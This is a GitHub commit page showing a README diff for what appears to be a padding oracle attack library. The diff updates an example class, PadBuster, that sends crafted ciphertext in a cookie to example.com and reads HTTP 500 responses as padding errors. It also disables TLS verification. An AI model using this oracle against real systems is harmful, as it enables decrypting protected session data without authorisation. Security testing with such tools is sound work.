Skip to content

Commit e666bb5

Browse files
updated README to reflect updates to reference implementation
1 parent f1d793b commit e666bb5

1 file changed

Lines changed: 10 additions & 6 deletions

File tree

README.rst

Lines changed: 10 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -26,24 +26,28 @@ See below for an example (from `the example`_): ::
2626
class PadBuster(PaddingOracle):
2727
def __init__(self, **kwargs):
2828
super(PadBuster, self).__init__(**kwargs)
29-
self.session = requests.session(prefetch=True, timeout=5, verify=False)
29+
self.session = requests.Session()
30+
self.wait = kwargs.get('wait', 2.0)
3031

31-
def oracle(self, data):
32+
def oracle(self, data, **kwargs):
3233
somecookie = quote(b64encode(data))
3334
self.session.cookies['somecookie'] = somecookie
3435

3536
while 1:
3637
try:
37-
response = self.session.get('http://www.example.com/')
38+
response = self.session.get('http://www.example.com/',
39+
stream=False, timeout=5, verify=False)
3840
break
39-
except (socket.error, requests.exceptions.SSLError):
40-
time.sleep(2)
41+
except (socket.error, requests.exceptions.RequestException):
42+
logging.exception('Retrying request in %.2f seconds...',
43+
self.wait)
44+
time.sleep(self.wait)
4145
continue
4246

4347
self.history.append(response)
4448

4549
if response.ok:
46-
logging.debug('No padding exception raised on %r', cookie)
50+
logging.debug('No padding exception raised on %r', somecookie)
4751
return
4852

4953
# An HTTP 500 error was returned, likely due to incorrect padding

0 commit comments

Comments
 (0)